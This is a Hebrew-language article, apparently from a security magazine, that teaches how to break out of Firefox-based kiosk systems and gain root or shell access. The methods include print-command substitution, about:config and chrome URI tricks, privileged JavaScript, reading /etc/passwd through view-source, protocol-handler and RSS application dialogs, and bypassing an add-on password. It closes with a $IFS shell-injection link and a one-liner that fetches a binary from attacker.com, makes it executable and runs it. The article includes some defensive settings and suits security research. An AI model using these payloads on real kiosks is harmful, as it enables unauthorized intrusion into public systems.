 .בקוד הבא נשתמש בכל פעם שתיהיה לנו אפשרות להריץ קוד בהרשאות גבוהות

 

 :דוגמא למערכת פגיעה 

http://webconverger.com 

 

ביצוע ן עוד שתי אפשרויות שאפשר להגיע אליהן גם בדרכים אחרות והניצול שלהם יתואר בהמשך ה

 (.Ctrl+I)לראות את המידע אודות העמוד האפשרות ו( Ctrl+P)הדפסה 

 

 קיצורי דרך מועילים חלקית

שמופעל על מסך מלא ללא כשאנחנו נמצאים מול דפדפן  – קיצורי דרך שעוזרים לנו רק במצבים מסוימים

נוכל להשתמש , שורת כתובת או מול מערכת שמסננת לנו את האפשרויות בתפריט לחיצה על לחצן ימני

 :הגנותאת הבדרכים הבאים בשביל לעקוף 

Bookmarks: Ctrl+B 

 .ותנו לאתר או לנתיב שבחרנו ולפתוח בחלון חדשנוכל ליצור סימניה חדשה שתפנה א

 

 

http://webconverger.com/
http://support.mozilla.com/en-US/kb/Bookmarks
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 שימוש בהדפסה

בגרסאות : אפשרויות שונות (בהגדרות ובגרסאת הדפדפןכתלות )הדיאלוג של הדפסת קובץ מאפשר לנו 

 :אותה לולהחליף  נוכל לבחור את פקודת ההדפסה( 2למשל גרסא ) Firefoxיותר ישנות של 

xterm -e /bin/bash 

יפתח ( Nimblexבמקרה הנוכחי של )בלעדיו , Xtermלהריץ בתוך שיש פקודה על ה רהמו e-הפרמטר 

Xterm  אבל לא יהיהshell. 

 :דוגמא, ונדפיס קובץ

 
 (מצב קיוסק - http://www.nimblex.netהתמונה מתוך ההפצה )

 

, Rootל השגנו גישת "כך שבעזרת הוקטור הנ .Root  המשתמש שרץ הוא, במצב קיוסק, בהפצה הזאת

 .לא פחות ולא יותר

 

נוכל , לעמת זאת. החלון של ההדפסה שונה ואין אפשרות כזאת, Firefoxבגרסאות מאוחרות יותר של 

תחת  PDFלטייל במערכת קבצים ולשמור קובץ , לבחור מיקום, "הדפסה לתוך קובץ"לבחור באופציה 

כך למשל נוכל לשכתב את כל  ."קבצי זבל"מאפשר לנו לשכתב קבצים שונים למה ש, איזה שם שנרצה

וההגנות  התוספת לא תפעל ואחרי ריסט של הדפדפן, Firefox-הקבצים של התוספות שמספקות הגנה ל

 (.במידה ואחרי ריסט של הדפדפן הוא לא חוזר למצב ידוע מראש)יעלמו 

 :תמש במספר וקטוריםבכדי להפעיל את הדיאלוג של ההדפסה נוכל להש

  קיצור מקשיםCtrl + P. 

  שימוש בקודJavascript: 

 :לחיצה על כפתור

<button onclick="window.print()">Print File</button> 

 :להריץ דרך שורת הכתובת 

javascript:window.print(); 

http://www.nimblex.net/
javascript:window.print
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 ."הדפסה שקטה"האפשרות שמופעלת  מכיווןא יעבדו הוקטורים האלו ל ,בחלק מהקיוסקים

Print.always_print_silent = true 

לא נפתח שום דיאלוג ששואל אותנו מה ברצוננו לעשות אלא בהגדרות ברירת מחדל  –כך שבעת הדפסה 

 .ההדפסה מתחילה 

GOTCHAS 

 – Error console-נפתח ה ,ממערכות הקיוסק ולחצתי על לינקים מסוימים תאחמ IKAT-כשגלשתי ל

 מקור ומסתבר שהבעיה נעוצה בכך שאם מנסיםהקוד  תאבדקתי . תופעה מוזרה שלא אמורה לקרות

 :יפתח console-ה ,”javascript: text"או  javascript: :בצורה הבאה Javascriptלטעון קוד 

<a href="javascript:">Open Error Console</a> 

<a href=javascript: void(0)>Ikat-Link</a> 

 

 :מערכות קיוסק שבהם זה עבד

Pynx- גרסא IceWeasel 2.0.0.19: 

http://pynx.org/en/kiosk.htm 

Rpath- גרסא FireFox 1.5.7: 

http://www.rpath.org/project/kiosk/releases 

 

כך שנסתפק בהרצת קוד  ,ולא כוללות טרמינל זמין בהם, המערכות האלו מוקשחות בצורה די טובה תיש

javascript בעזרתו כמובן נוכל גם להוריד טרמינל מותאם למערכת לתת לו הרשאות  .בהרשאות גבוהות

 :ריצה ולהריץ

 

 (X.2-עד ל X.1.1אני משער שזהו באג שנמצא בגרסאות  ,הבעיה הזאת לא היתה קיימת במערכות אחרות)

 שימוש בפלאגינים שונים

סרטוני וידאו , PDFלמשל קורא  ,לדפדפן שמאפשרות לו לעבוד עם תוכן מסויים” תוספות"פלאגינים הם 

 .'פלאש וכו, JAVAאפלטים של , (QuickTime\Vlc\Media player)בקידוד מסויים 

 

http://pynx.org/en/kiosk.htm
http://www.rpath.org/project/kiosk/releases
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 זיהוי פלאגינים מותקנים

מה , הסקריפט בודק אילו פלאגינים מותקנים. אתר לבדיקת פלאגינים בדפדפן/יתחו ממשקצוות מוזילה פ

לא  IE-ב, הסקריפט עובד בכל הדפדפנים המודרנים(. גרסא אחרונה)הגרסא שלהם והאם הם מעודכנים 

 .תוכל הפלאגינים מזוהים בגלל שהדפדפן דורש קוד שונה ויחודי לכל פלאגין בשביל לזהות או

 :מידע נוסף

https://www.mozilla.com/en-US/plugincheck/more_info.html 

 :לבדיקת הפלאגינים 

https://www.mozilla.com/en-US/plugincheck/ 

כדי שנוכל להשתמש בפונקציונליות שלהם )בעקבות המידע שנקבל נוכל לדעת אילו פלאגינים מותקנים 

במידה ויש פלאגין לא מעודכן יתכן . מהי הגרסא שלהם והאם הם מעודכנים, (בשביל לפרוץ את הקיוסק

 .והוא כולל פריצת אבטחה שאפשר לנצל בשביל להגיע להרצת קוד

 

Java 

 .נוכל להפעיל אפלטים ודרכם להגיע להרצת קוד, Javaם בהם מותקן על הקיוסק במקרי

iKAT  ללינוקס מגיע עם מספר אפלטים(Applets )שדרכם נוכל להגיע להרצת קוד, חתומים: 

http://ikat.ha.cked.net/Linux/java.html 

 

 :וד שמפעיל טרמינל מהנתיבק, לדוגמא

./usr/bin/xterm 

 

Jyconsole –  אפליקציתJava  שמביאה לנו שורת פקודה שלPython . אם אין מאוד שימושי הדבר

הרצה , שינוי הרשאות, הורדת קבצים)נוכל לעשות הכל בעצם  Python-דרך קוד ב. Xtermבמערכת את 

 :כך נוכל להפעיל טרמינל, לדוגמא. (של קובץ

import os 

os.system("/usr/bin/x-terminal-emulator"); 

 

Flash Player 

iKAT כולל שני דיאלוגים שאפשר להפעיל מתוך פלאש: 

  במקרה של  –חלון הדפסת קובץFirefox הוא שונה מהרגיל ולא . אין מה לעשות עם הדיאלוג

 .רק לבחור מדפסת ולהדפיס, כולל אפשרויות שאפשר לנצל בכלל

 הקובץ שנפתח על ידי  חלון בחירתFlash מפעיל את חלון בחירת הקובץ דרך מערכת החלונות. 

https://www.mozilla.com/en-US/plugincheck/more_info.html
https://www.mozilla.com/en-US/plugincheck/
http://ikat.ha.cked.net/Linux/java.html
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 התקנת פלאגינים חסרים

, Flash, Java: כגון) במידה ואנחנו מנסים לראות תוכן שהדפדפן לא יודע לעבוד איתו עקב פלאגין חסר

 ונת פאזל שלחיצה עליונראה מלבן עם תמ ,(פורמט מסויים שהדפדפן לא יודע לקרוא/סרטוני וידאו בקידוד

 .תביא לנו אפשרות להתקין את התוסף החסר שדרוש להפעלת התוכן

 

Firefox  שנקרא כולל רכיבPlugin Checker ה לפי ,שינסה למצוא תוסף מתאים לתוכן-Mime-Type 

 . ויציע לנו להתקין אותו( ב המקריםובר)הוא ימצא את התוסף  JAVA/Flash-כך שבמידה ומדובר ב .שלו

 

 :חסימה

plugin.default_plugin_disabled = false 

 

 Media-שימוש ב

iKAT  כולל שניEmbed Media Players  לשני פלאגינים למערכת ההפעלהLinux: 

 Real Player 

 Quicktime 

http://ikat.ha.cked.net/Linux/mediaplayers-info.html 

 

כולל את הנגן  Gnomeשולחן העבודה . דרכם לפרוץנוכל , אם הפלאגינים האלו מותקנים במערכת

Totem (ברירת מחדל ב-Ubuntu) שכולל פלאגין ל-Firefox בשביל שיהיה אפשר לראות בו סרטונים. 

 :כשנראה סרטון תקין באמצעות הפלאגין

<embed src="dummy.mp3|mp4|avi"></embed> 

 

 :נגןה תאלפתוח  השורה נוכל באמצעות לחיצה על לחצן ימני או על לחצן בסוף

Open with “Movie Player” 

 Pluginsאך וקטור יותר שימושי יהיה להכנס ללשונית , MovieOpen: כמובן שיש פתח באמצעות

 .Pythonשל  Shellואז אפשר לפתוח אותו מהתפריט ויש , Python Consoleולהפעיל את פלאגין 

 

http://ikat.ha.cked.net/Linux/mediaplayers-info.html
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 html5-שימוש ב

html5 מביא איתו שני תגים חדשים: Audio ו-Video  שבעזרתם אפשר להכניס סרטונים וקבצי

 :W3schoolsדוגמאות מתוך . מוזיקה לתוך הדפדפן/השמעה

 

http://www.w3schools.com/html5/tryit.asp?filename=tryhtml5_video_simple 

http://www.w3schools.com/html5/tryit.asp?filename=tryhtml5_audio_simple 

 

<audio src="song.ogg" controls="controls"> 

Your browser does not support the audio element. 

</audio> 

<video src="movie.ogg"  width="320" height="240" controls="controls"> 

Your browser does not support the video tag. 

</video> 

 

 

 :html5דוגמאות לנגנים שנבנו באמצעות 

http://www.html5video.org/ 

http://videojs.com/ 

קובץ /שמירה של הסרטון לחיצה ימנית על הפאנל של הסרטון או קובץ ההשמעה מאפשרת לנו לבצע

נוכל לטעון גם קובץ  – תקין בהכרח לטעון קובץ יםלא חייב(. Save Video As / Save Audio As) מוזיקה

html\exe ולשמור אותו במערכת קבצים. 

 

 התקנת תוספות

אם נצליח להתקין  .(יכול לעשות Firefox-כל מה ש)יכולה לעשות הכל במערכת  Firefox-תוספת ב

מהאתר של  TerminalRunנוכל למשל להתקין את התוספת , הגענו להרצת קוד – תוספת במערכת

 :מוזילה

https://addons.mozilla.org/en-US/firefox/addon/terminalrun/ 

http://www.w3schools.com/html5/tryit.asp?filename=tryhtml5_video_simple
http://www.w3schools.com/html5/tryit.asp?filename=tryhtml5_audio_simple
http://www.html5video.org/
http://videojs.com/
https://addons.mozilla.org/en-US/firefox/addon/terminalrun/
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נפתח  ,לאחר התקנת התוספת .בעזרת התוספת נוכל לסמן מקטע של פקודות ולהריץ אותו בטרמינל

 :העמוד

chrome://terminalrun/locale/about.html 

 

 :לכתוב, Edit script: וגם להריץ פקודות( באיזה טרמינל להשתמש: כגון)שבו אפשר לערוך הגדרות 

/bin/bash 

 

 .וסגרנו סיפור Run in terminal :ואז

 

 הורדת קבצים למערכת קבצים

או כל קובץ אחר שהדפדפן לא מזהה תציע לנו אפשרות להוריד את  exe ,batכניסה בדפדפן לקובץ 

על  BlackListלעיתים רחוקות יש אך , ב מערכות הקיוסק הורדת קבצים בדרך זו חסומהובר .הקובץ

סיומת קבצים שאסור להוריד שמאוד קל לעקוף כי יש המון סיומות שלא נמצאות ברשימה וגם כי נוכל 

 ישלחו כותר שיאמר html-ו bmp ,jpg :שרת שכניסה לעמוד עם סיומות מותרות כגון תמונות-לגרום בצד

 .לדפדפן להוריד את הקובץ

 

 PageInfoבדיאלוג  aveAsS-שימוש ב :הורדת קבצים

כנס נוכל לה, במידה והקיצור נחסם. Page Informationנפתח לנו החלון  Ctrl+Iבעזרת קיצור המקשים 

 .More Information-תוביל אותנו ישירות לעליו  לחיצה, נלחץ אייקוןוליד הכתובת יש , לאתר הזדוני שלנו

 

 "קובץ בינארי"נטען  שם. תמונות שנטענו בעמודה תאולשמור  Mediaנוכל לדלג ללשונית בחלון שנפתח 

 :מעוניינים להריץ באופן הבאקובץ שאנחנו או 

<img src=”file.ext” /> 

 

 -ודבמידה ולא יעב, (למשל Tmp/תיקיית בית)ואז נוכל לשמור את הקובץ לאיפה שיש לנו הרשאת כתיבה 

 :תקינה כמו למשל  SSLנס לאתר עם עם תעודת ננסה להכ

https://duckduckgo.com 

 :וממנו לרוץ עם אותו הוקטור

  

https://duckduckgo.com/
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 ניצול של הורדת קבצים

 :י אפשרויותתממנו יש לנו שו נפתח לנו חלון ההורדות ,לאחר שהורדנו את הקובץ

 ה שאליה הקובץ ירדלפתוח את התיקי  –י לחצן ימנ. 

 תמונות)שונים מסוגים קבצים  ננסה להוריד, במקרה הזה – להפעיל את הקובץ שהורדנו ,PDF 

כמובן שבמידה ומדובר במערכת . להמשיך הלאהננסה ודרכם  שיפתחו בתוכנות שונות( 'וכו

  .exeפשוט נוריד קובץ , Windowsההפעלה 

 

 URI-שימוש ב

 URI :https://secure.wikimedia.org/wikipedia/en/wiki/URI_schemeהסבר על מה זה 

about:plugins 

 .מציג רשימה של פלאגינים מותקנים במערכת

 

about:cache 

ברוב הקיוסקים  .הגלישהמאפשר לראות מה נמצא במטמון של הדפדפן ובכך לראות בעצם את הסטוריית 

 .אפשרות המטמון מכובה כך שלא יהיה פה שום מידע

 

about:support 

כל )ואת רשימת השינויים שנעשו , מציג רשימה של תוספות שמותקנות על הקיוסק .Firefox 3.3-נכנס ב

, פרופילתיקיית ה בכדי לפתוח את Open Containing Folderנוכל ללחוץ על  ,כן כמו(. החסימות שבוצעו

 .ולהריץ טרמינל usr/bin-ממנה לגלוש ל

 

about:config 

ב וובכך בעצם להוריד את ר Lockנוכל לשנות כל הגדרה שלא נמצאת במצב  .Firefoxעורך ההגדרות של 

 .הקיוסק נפרץ – אם יש לנו גישה לפה. את הקיוסקההגנות שבוצעו בעזרת שינוי הגדרות ולפרוץ 

 

 :וקטור לדוגמא

 נסדר את הרשימה לפי  :את רוב ההגנות נוכל לבטלStatus ומה שנמצא כ-User Set  אם זאת

 .נבטל אותה – הגנה

 נשנה את הדיאלוג בעת התקנת התוספות, אחרי שביטלנו את חסימת התקנת תוספות: 

xpinstall.dialog.confirm = 

chrome://browser/content/feeds/subscribe.xhtml 

 

https://secure.wikimedia.org/wikipedia/en/wiki/URI_scheme
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תחת ) Xtermשממנו נוכל לבחור  Rss-להתקנת תוספות יפתח לנו חלון הצגת ה שיגרום לכך שבעת ניסיון

Chosse Application )ולהריץ. 

 

 :About URIלרשימה כמעט מלאה של 

http://kb.mozillazine.org/About_protocol_links 

 

 :כגון, מעניינים URIsאך חסרים בה כל מיני , בדתמכורשימה מדובר ב

about:rights 

about:certerror 

about:neterror 

about:memory 

about:sessionrestore 

about:privatebrowsing 

 

 JAR-שימוש ב

שנמצאת  Adblockוכל לגלוש בתוספת נ ,למשל. ZIPנוכל לפתוח קבצי  JARבאמצעות הפרוטוקול 

 :בתיקיית ההורדות

jar:file:///home/emanuel/Download/Extensions/adblock_plus.xpi!/ 

 

הקובץ , Firefoxשל  UI-שבתוכו נמצא ה Browser.jarכוללת את הקובץ  Firefoxתיקיית ההתקנה של 

Browser.jar  הוא קובץZIP וכל לגלוש אליו באמצעותתקין ונ: 

jar:file:///usr/lib/firefox-3.6.13/chrome/browser.jar!/ 

 

מבין הקבצים שעברתי . כשנגלוש בתוך הרבה קבצים נגלה שהפונקציונליות שלהם שבורה והם לא עובדים

 :RSS-יצוע הרשמה להיחידי שעבד הוא ב ,עליהם

jar:file:///usr/lib/firefox-

3.6.13/chrome/browser.jar!/content/browser/feeds/subscribe.xhtml 

 

 .ולהריץ Xtermשדרכו נוכל לבחור 

 

 Source-wVie -שימוש ב 

מקור של הקוד  תאבשביל לראות  View-Source-נוכל להשתמש ב, הקודמים חסומים URI-במידה וה

 :קבצים במערכת קבצים

view-source:file:///etc/passwd 
view-source:file:/// 

 .עובד על כל מערכת קיוסק שבדקתיל "הוקטור הנ

http://kb.mozillazine.org/About_protocol_links
file:///C:/DigitalWhisper/Articles/MAGAZINE/home/emanuel/Download/Extensions/adblock_plus.xpi!/
file:///C:/DigitalWhisper/Articles/MAGAZINE/usr/lib/firefox-3.6.13/chrome/browser.jar!/
file:///C:/DigitalWhisper/Articles/MAGAZINE/usr/lib/firefox-3.6.13/chrome/browser.jar!/content/browser/feeds/subscribe.xhtml
file:///C:/DigitalWhisper/Articles/MAGAZINE/usr/lib/firefox-3.6.13/chrome/browser.jar!/content/browser/feeds/subscribe.xhtml
file:///C:/DigitalWhisper/Articles/MAGAZINE/etc/passwd
file:///C:/DigitalWhisper/Articles/MAGAZINE/
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 Public Foxתוספת ה

https://addons.mozilla.org/en-US/firefox/addon/public-fox/ 

 :חלון אפשרויות 

 

 

 :הם( מברירת מחדל)השינויים שאני ביצעתי פה 

  הכנסתי אתIKAT ל-Black List . 

 סיומות מ שיניתי בחסימת: exe,bat לכוכבית. 

את . בסיסמאנוספות חלון התקנת תוספות ושאר אפשרויות , about:config-התוספת חוסמת גישה ל

 chrome URI-נוכל להשתמש ב .extensions.dlwatch.pass: בערך MD5-כהסיסמא היא שומרת 

 :about:config-שתואם ל

chrome://global/content/config.xul 

 

 :את הערך ונשנה (extensions.dlwatch.pass) הנמחק את הערך של הסיסמאם  .יחסםוזה לא 

extensions.dlwatch.lock ל-false. ריקה הסיסמ אם נכניס, כל פעם שפעולה כלשהיא תחסם, מעכשיו 

-כמובן שגם נוכל לנסות ולפצח את הסיסמה באחד מכלי ה. עקפנו את החסימהובכך  ,תתקבל הסיסמה –

MD5 Crack שיש בגוגל. 

https://addons.mozilla.org/en-US/firefox/addon/public-fox/
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 :של העמוד Context-ב JSהרצת  :לעצמינו XSSביצוע 

כך שאם העמוד שאותו אנו רואים , של העמוד שאותו אנחנו רואים -Contextשירוץ ב JSנוכל להריץ קוד 

 .הרשאות גבוהות נוכל להריץ קוד בהרשאות גבוהות עםהוא 

 :בפרוטוקולים השונים JSניצול 

 

 . ולחלקם יש, about:logo)כמו למשל )לחלקם אין הרשאות גבוהות , URIה יש הרב Aboutבפרוטוקול 

 :(Firefox 3-מעובד רק ) Firefox-ב Easter Eggשהוא  about:robotsכשנכנס לעמוד  ,למשל

chrome://browser/content/aboutRobots.xhtml 

 

 :לקודגמא דו. ינלשיריץ לנו טרמ Javascript-ה קוד אתלשורת הכתובת  נוכל להעתיק

javascript:function 

runprocess(binary_path,args){.....}runprocess("/usr/bin/xterm",""); 

\\  RUNPROCESS ... [מדובר על הפונקציה שהצגנו בתחילת המאמר להרצת פרוססים]   

 

 

File/Resource 

file:/// 

resource:/// 

 

בשביל להריץ  "Enbale Privlegie"הבאים נוכל להשתמש בשיטה של נכנס לאחד מהפרוטוקלים ר שאכ

 :קוד בהרשאות גבוהות

javascript:try{netscape.security.PrivilegeManager.enablePrivilege('Unive

rsalXPConnect');void(openDialog('about:'));}catch(e){alert(e);} 

 

Source-JAR + View 

-אבל נוכל להשתמש ב, תעובדלא ( Enbale Privlege)בטכניקה הקודמת  בפרוטוקולים הבאים שימוש

Javascript כך למשל בשני הפרוטוקולים נוכל להשתמש ב .בצורה שונה: 

javascript:document.body.innerHTML+='<iframe src=”file:///” width=”90%” 

height=”90%”></iframe>' 

 

לא היה  //:Fileונוכל לגלוש במערכת קבצים כאילו הפרוטוקול  Iframeלתוך   ///:Fileת הקוד יטען לנו א

 דרך //:File-אך מפני שאנחנו לא טוענים את ה, Location-מכיוון שהחסימה מתבצעת רק על ה. חסום

 .ל וקטור זה אינו נחסם"האובייקט הנ

 :הם בדוגמאות ללינקים שאפשר להשתמש 

resource:///defaults/profile/bookmarks.html 

 

file:///C:/DigitalWhisper/Articles/MAGAZINE/
file:///C:/DigitalWhisper/Articles/MAGAZINE/
file:///C:/DigitalWhisper/Articles/MAGAZINE/
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jar:file:///usr/lib/firefox-

3.6.13/chrome/browser.jar!/content/browser/aboutSessionRestore.xhtml 

 

view-source:file:///etc/ 

 

 Lunch Applicationהדיאלוג 

שמאפשר לבחור תוכנה " Lunch Application"יאלוג א להשתמש בדיה ות הטובות ביותרמהשיט תאח

בשביל לנצל את הדיאלוג נצטרך שבתור המערכת  .לבצע פעולה כלשהיא ניםמעוניי אנושבאמצעותה 

במידה ואין לנו טרמינל זמין במערכת הניצול  .תהיה תוכנה גרפית שימושית כמו טרמינל שנוכל לבחור

 ותדרכים שמצאתי שמאפשר נן שלושיש. ויתואר בהמשך הופך להיות מורכב ומסובך יותר אך אפשרי

 .לפתוח את הדיאלוג

 

iKAT רשימות של  תיכולל שURI Handlers ,תי מומלץ לעבור על ש. אחת לוינדוס ואחת ללינוקס

-למשל שימוש ב .ולא נכללים ברשימה של לינוקס Firefox-בשעובדים  URIיש הרשימות מכיוון ש

webcal, ס נקראשברשימה של וינדו: 

webcal:// (outlook) 

 

או לבחור  http://30boxes.comבכתובת  Webדיאלוג שיציע לנו להשתמש בשירות  Firefox-יפתח ב

 .אפליקציה כמובן

http://ikat.ha.cked.net/Linux/urihandlers.html 

http://ikat.ha.cked.net/Windows/urihandlers.html 

iKAT ית של כל הטמוכולל גם אפשרות להפעלה אוט-URI שנמצאים ברשימה: 

http://ikat.ha.cked.net/Linux/urihandlers-auto.html 

( Ubuntuלמשל )כך למשל בהפצות שונות  .מכסה המון אפשרויות אבל היא לא מלאה IKAT-הרשימה ב

לבחור תוכנה או ) nmapויפתח דיאלוג שדרכו אפשר להתקין את התוכנה  apt:nmap-אפשר להשתמש ב

  (.URI-אחרת לעבודה עם ה

בעזרת מה אלא דיאלוג ששואל אותנו  Emailלא נפתח קליינט : mailtoדוגמא לדיאלוג שנפתח באמצעות 

 ?XTERMאולי ? Gmail ?Yahoo: הפרוטוקול ברצוננו לפתוח את

 

file:///C:/DigitalWhisper/Articles/MAGAZINE/etc/
webcal://dummy/
http://30boxes.com/
http://ikat.ha.cked.net/Linux/urihandlers.html
http://ikat.ha.cked.net/Windows/urihandlers.html
http://ikat.ha.cked.net/Linux/urihandlers-auto.html
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 :מתבצעת באמצעות ההגדרותלכך חסימה ה

network. protocol-handler. Expose-all    = false 

network.protocol-handler.external-default = false 

network.protocol-handler.external.mailto  = false 

network.protocol-handler.external.news   = false 

network.protocol-handler.external.nntp    = false 

network.protocol-handler.external.snews = false 

network.protocol-handler.warn-external-default = false 

 

 Register Protocol-שימוש ב

 Firefox 3-ב. גם השיטה הזאת מביאה לנו דיאלוג שמאפשר לבחור אפליקציה, כמו השיטות הקודמות

הם ( אלו שדנו בהם מקודם) URI-בעוד שרוב ה, Web Based Protocol Handlers-כה בנוספה תמי

כמו  ,לחיצה עליהם תפתח תוכנה שנמצאת אצל המשתמש ,כלומר . Desktop-Based Protocolבעצם

מוסיפה  Web Based Protocol Handlers-התמיכה ב(. של גנום Email-קליינט ה) Evoultionלמשל 

למפתחים ניתנה אפשרות לרשום  .כלשהיא Web יתהאלו לאפליקצי URI-ת האפשרות להפנות א

שמונע  SOPישנו מנגנון )לאתר שלהם בלבד  Web Based Protocol Handlers-פרוטוקולים שונים כ

 (. לרשום פרוטוקול בשביל אתר אחר מהם

 :וגמאד

<html> 

<head><title>Web Protocol Handler</title> 

<script type="text/javascript"> 

function Register() { 

navigator.registerProtocolHandler("ownkiosk", location + "?value=%s", 

"Kiosk Owned"); 

} 

</script></head> 

<body> 

<a href="javascript:Register()">Register Protocol</a><br /> 

<a href="ownkiosk://ownme">Click-And-Owned!</a> 

</body> 

</html> 

 

או להעתיק ( ללחוץ על הלינק)יש לאשר את הפרוטוקול ולאחר האישור יהיה ניתן להשתמש בו , ראשית

 .(?Xterm)ואז לבחור את האפליקציה שאליה ברצוננו לשייך את הפרוטוקול , אותו לשורת הכתובת

 

 RSS-שימוש ב

-יזו אפליקציה אנו מעוניינים להרשם לנוכל לבחור בא, Firefoxבאמצעות  RSSברגע שנכנס לעמוד 

Feed .כמובן שב-Chosse Application ננווט ל-Xterm ,ישנם סוגים שונים של . נרשם ונקבל טרמינל

RSS  שהדפדפןFirefox אפשרויות 3-הם מתחלקים ל, יכול לקרוא : 

http://kb.mozillazine.org/Network.protocol-handler.expose-all
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WebFeeds: http://digitalwhisper.co.il/rss/ 

Podcasts: http://music.paintthesky.org/index.xml 

Video Podcasts: http://feeds.pbs.org/pbs/wgbh/fromthetop-video 

 

כך שלא נוכל ) Webשירות /ואחת מהאפשרויות חסומה או שנבחרה אפליקציית ברירת מחדל במידה

 .נוכל לנסות את האחרים( להחליף לטרמינל

 

 חסימה

. לכל אחת מהאפשרויות Webמבוסס  RSSל נקבע בברירת מחדל קורא "בשביל לחסום את הוקטור הנ

 :Google Reader-נשתמש למשל ב

browser.feeds.handler = reader 

browser.feeds.showFirstRunUI = false 

browser.feeds.handler.default = web 

browser.feeds.handlers.webservice = 

https://www.google.com/reader/view/feed/%s 

browser.feeds.handlers.application = /bin/false 

 

האפשרות האחרונה היא , כברירת מחדל Webמבוסס  RSSההגדרות הראשונות הן בכדי לקבוע  ארבעת

 -להגדיר אותה כ( לבחור אפליקציה) Client-למקרה שהתוקף יצליח בכל זאת לשנות את ההגדרות ל

bin/false. 

 

 .*browser.videoFeeds -ו.* browser.audioFeeds: דבר גם להאותו נבצע את 

 

 :ללא טרמינל Lunch Applicationניצול הדיאלוג 

 לעזאזל איך אני הולך: "מה שגרם לי לחשוב, לשוט לא היה שום טרמינבחלק קטן מההפצות שבדקתי פ

 "?ן לי טרמינל או תוכנה גרפית זמינה אחרתלנצל את האפשרויות האלו כשאי

 

 :המטרה

אבל , שכן יש בה טרמינל Webconvegerש בהפצה שימו. לנצל את הטכניקה בלי להשתמש בטרמינל

 כמו למשל( ללא טרמינל)רק בפקודות שקיימות בהפצות מוקשחות  (להשתמש) להתייחס אליה

 Boothcd\Pynx. 

 

 

http://digitalwhisper.co.il/rss/
http://music.paintthesky.org/index.xml
http://feeds.pbs.org/pbs/wgbh/fromthetop-video
https://www.google.com/reader/view/feed/%25s
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 :להבין מה קורה בפועל –שלב ראשון 

רק שהפעם אני בוחר קבצים שהם לא תוכנות גרפיות , Straceעם  Firefoxמפעיל את , מתחיל לדבג 

 .'וכו bash ,ls: אלא פקודות לשורת פקודה כמו

 :מה שירוץ הוא  ,ובוחרים תוכנה irc:text: משל למסתבר שמה שקורה הוא שכשנכנסים ל

program “irc:text” 

 

  .אנחנו יכולים להריץ כל תוכנה ולהעביר לה רק פרמטר אחד ,כלומר

 :ןה (URI-מה שבה אחרי תחילת ה) text-המגבלות שיש לנו בשימוש ב

 " 22%-יהפוך ל. 

 20%-רווח יהפוך ל. 

 Backstick (`) 30%-יהפוך ל. 

 :דברים 3-אז הבעיות שלנו מסתכמות ב

  אנחנו יכולים להריץ תוכנה ולהעביר לה רק פרמטר אחד. 

  הפרמטר שנעביר מתחיל בirc. : 

  שהעיקרים הם רווח ומרכאות  קידודחלק מהתווים עוברים. 

 

 :נו אפשרות להשתמש בהםלעומת זאת תווים שכן יש ל

<<|;:&$][)(}{\/  

 

 Watchהפקודה  .הגעתי לפתרון שעובד חלק ,תי כל מיני דבריםיניסולאחר שעברתי על כל מיני פקודות 

 :פסאודו קוד  ,Shell SH-י שניות בתמקבלת בתור פרמטר מחרוזת שאותה היא תריץ כל ש

sh -c “irc:text” every 2 seconds . 

 

" ;"-וב Pipeline-נשתמש ב .נוכל להעביר פקודות עם המגבלות שצוינו מקודם, Text-אנחנו שולטים ב

 :בשביל להריץ פקודות אחת אחרי השניה

irc:text|commands 

 

מכיוון שאין פקודה כזאת “ sh: irc:text: not found(: "שנראה אותה רק כשנדבג)הסקריפט יוציא שגיאה 

 "irc:text ”תהפקודות הבאות שלנו כן יהיו קיימו ,אך זה לא מעניין אותנו. 

 

לי מאוד בקטע  השעזר, ת וקולע הקצר, צתמאוד מומל למצגתכאן הייתי מעוניין להפנות אתכם הקוראים 

 :הבא

http://www.chuug.org/talks/2s0070424/jmalone-chuug-bash_scripting.pdf 

http://www.chuug.org/talks/2s0070424/jmalone-chuug-bash_scripting.pdf
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ביצוע מניפולציה על מחרוזות )אחרי שעבדתי על וקטורים מורכבים  .הבעיה הכי גדולה היא שאין לנו רווח

הסתבר שיש , (ל"והוא לא תומך בוקטור הנ SHהוא  Shell-שלא עבד בגלל שה דבר, בשביל לקבל רווח

 :ם ברווח ובכך להריץ פקודותבמקו IFSאפשר להשתמש במשתנה : וקטור ממש פשוט

irc:aa|firefox$IFS-jsconsole; 

 

מה שיעבוד תמיד כי  ,JSוממנו נוכל להריץ קוד  Firefoxשל  Console-פעיל לנו את הל ת"הרצת הקוד הנ

 :לתת לו הרשאות ריצה ולהריץ, להוריד קובץנוכל גם . Firefoxיש לנו 

wget http://attacker.com/own.elf; 

chmod +x ./own.elf; 

./own.elf; 

 :בשורה אחתו

wget$IFShttp://attacker.com/own.elf;chmod$IFS+x$IFS./own.elf;./own.elf; 

 

 IFנעקוף זאת באמצעות תנאי . ים בזהי שניות ואנו לא מעוניינתהפקודה תרוץ כל ש, ל"במקרה הנ

 .tmp/owned/יצור את הקובץ נאת הקוד שלנו ולאחריו  נריץ, לא קיים tmp/owned/אם הקובץ  :שיבדוק

 :הקובץ יהיה קיים ולכן הקוד לא ירוץ עוד פעם –שניות כשהסקריפט ירוץ עוד פעם  2לאחר 

[ ! -f  '/tmp/owned' ] && (firefox -jsconsole; touch '/tmp/owned';) 

 

 :תייניס .נכשלמתוך הסקריפט  Pkillאו  Kill ניסיון לבצע

pkill watch;kill -9 $$; 

 

 ( :$IFS-לאחר מחיקת רווחים לא נחוצים ושימוש ב)תוצאה 

<a href="irc:aa|[$IFS!$IFS-f$IFS'/tmp/owned'$IFS]&&(firefox$IFS-

jsconsole;touch$IFS'/tmp/owned';)">Own-With: /usr/bin/watch</a> 

 

 . ויש לנו הרצת קוד usr/bin/watch/ :לפתוח באמצעות

 

זאת , לפני סוף פרק הייתי מעוניין להציג לפניכם שיטה נוספת שבעזרתה ניתן לבצע את אותו הדבר, כאןו

 :IFS$הדרך שפיתחתי לפני שהכרתי את הטריק של 

 

ברווחים להצליח להריץ קוד ללא שימוש  מיד לאחר שראיתי את המצגת והבנתי שהמשימה שלי היא

הרעיון . Bash Scripting-לחרוש ובמיוחד לשפר את קישורי ב/  ללמוד/  החלטתי שאני הולך להשתפר

בצורה " לגנוב אותו"מתכוון  אני, יה שאם אני לא יכול להשתמש ברווחהראשון שלי לפתרון הבעיה ה

 :הבאה

  תנהפלט של פקודה מסויימת לתוך משאני אשמור. 

http://attacker.com/own.elf
http://attacker.com/own.elf
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 ל מחרוזת באורך קבוע שיש בה רווחהפלט יכלו. 

